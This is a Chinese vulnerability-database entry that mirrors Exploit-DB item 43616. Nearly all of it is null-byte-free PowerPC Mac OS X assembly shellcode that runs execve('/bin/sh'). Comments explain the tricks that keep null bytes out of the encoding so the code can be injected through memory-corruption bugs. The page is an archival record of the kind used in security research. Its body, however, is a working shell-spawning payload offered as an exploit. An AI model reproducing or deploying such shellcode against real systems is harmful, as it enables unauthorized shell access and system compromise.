OSX/PPC - execve(/bin/sh) + Null-Free Shellcode

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1057156 漏洞类型
发布时间 2009-01-01 更新时间 2009-01-01
CVE编号 N/A CNNVD-ID N/A
漏洞平台 OSX_PPC CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/43616
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
;;; $Id: ppc-execve.s,v 1.1 2003/03/01 01:10:48 ghandi Exp $
;;; PPC MacOS X (maybe others) shellcode
;;;
;;; After assembly, change bytes 2 and 3 of the 'sc' instruction encoding
;;; from 0x00 to 0xff.
;;;
;;; ghandi < ghandi@mindless.com >
;;;
	
.globl _execve_binsh
.text
_execve_binsh:
    	;; Don't branch, but do link.  This gives us the location of
	;; our code.  Move the address into GPR 31.
	xor.	r5, r5, r5	; r5 = NULL
	bnel	_execve_binsh
	mflr	r31

	;; Use the magic offset constant 268 because it makes the
        ;; instruction encodings null-byte free.
	addi	r31, r31, 268+36
	addi	r3, r31, -268	; r3 = path

        ;; Create argv[] = {path, 0} in the "red zone" on the stack
	stw	r3, -8(r1)	; argv[0] = path
	stw	r5, -4(r1)	; argv[1] = NULL
	subi	r4, r1, 8	; r4 = {path, 0}

	;; 59 = 30209 >> 9    (trick to avoid null-bytes)
	li	r30, 30209 
	srawi	r0, r30, 9	; r0 = 59
	sc			; execve(path, argv, NULL)
path:   .asciz "/bin/sh"